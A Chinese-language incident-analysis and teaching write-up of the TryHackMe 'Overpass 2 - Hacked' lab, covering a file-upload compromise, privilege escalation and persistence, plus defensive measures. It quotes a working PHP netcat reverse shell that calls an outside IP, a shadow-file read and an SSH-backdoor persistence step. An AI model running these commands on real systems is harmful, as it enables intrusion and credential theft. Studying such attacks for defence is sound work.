【THM】offensive-Overpass 2 - Hacked
字数 1286 2025-09-01 11:26:11
Overpass 2 被黑事件分析与教学文档
事件概述
Overpass 生产服务器被攻击者入侵,SOC团队通过分析捕获的PCAP文件发现了攻击路径。攻击者通过上传PHP反向shell获取初始访问权限,然后进行权限提升和持久化操作。
攻击分析
初始访问
-
攻击入口点:
- URL:
/development/upload.php - 攻击者上传了一个恶意PHP文件(
payload.php)
- URL:
-
反向shell代码:
<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f")?>
- 技术细节:
- 使用
exec()函数执行系统命令 - 创建命名管道(
mkfifo) - 通过netcat(
nc)建立反向连接到攻击者IP192.168.170.145端口4242
- 使用
权限提升
-
发现凭据:
- 在
/var/www/html/development/uploads/.overpass文件中发现凭据 - 内容:
,LQ?2>6QiQ$JDE6>Q[QA2DDQiQH96?6G6C?@E62CE:?DE2?EQN.
- 在
-
切换到james用户:
- 密码:
whenevernoteartinstant - 命令:
su james
- 密码:
-
sudo权限检查:
sudo -l
输出显示james用户拥有所有sudo权限:
User james may run the following commands on overpass-production:
(ALL : ALL) ALL
- 查看敏感文件:
sudo cat /etc/shadow
持久化技术
-
SSH后门:
- 在端口2222上设置SSH后门
- 使用项目: NinjaJc01/ssh-backdoor
-
shell稳定化:
python3 -c 'import pty;pty.spawn("/bin/bash")'
防御措施教学
1. 文件上传漏洞防护
-
输入验证:
- 限制上传文件类型(白名单方式)
- 验证文件内容而不仅是扩展名
-
服务器配置:
- 将上传目录设置为不可执行
- 使用
open_basedir限制PHP访问范围
-
示例安全代码:
$allowed = ['image/jpeg', 'image/png'];
if(!in_array($_FILES['file']['type'], $allowed)) {
die("Invalid file type");
}
2. 权限最小化原则
-
sudo配置:
- 避免使用
(ALL : ALL) ALL - 为特定用户指定精确的命令集
- 避免使用
-
示例安全sudoers:
User james may run the following commands on overpass-production:
/usr/bin/systemctl restart apache2,
/usr/bin/vi /etc/apache2/sites-available/*
3. 凭据安全管理
-
敏感信息存储:
- 避免在web目录存储凭据
- 使用加密存储或密钥管理系统
-
密码策略:
- 强制使用复杂密码
- 定期轮换密码
4. 网络监控与防护
-
入侵检测:
- 监控异常网络连接(如反向shell)
- 设置对
nc、bash -i等命令的告警
-
网络分段:
- 生产服务器不应允许任意出站连接
- 限制内部网络横向移动
5. 后门检测与防护
-
异常端口监控:
- 监控非标准端口上的服务(如2222)
-
文件完整性监控:
- 使用工具如AIDE监控关键文件变更
- 定期检查crontab和启动项
事件响应流程
-
隔离系统:
- 立即将受影响服务器从网络隔离
-
取证分析:
- 保存内存和磁盘镜像
- 分析日志和网络流量
-
密码重置:
- 重置所有用户密码
- 撤销所有SSH密钥
-
漏洞修复:
- 修复文件上传漏洞
- 调整sudo权限
-
恢复验证:
- 从干净备份恢复系统
- 验证所有安全措施已实施
总结
通过分析Overpass 2被黑事件,我们可以学习到攻击者如何利用文件上传漏洞获取初始访问权限,然后通过发现存储的凭据进行权限提升,最终建立持久化访问。防御此类攻击需要多层防护:安全的代码实践、严格的权限控制、有效的监控系统和健全的事件响应流程。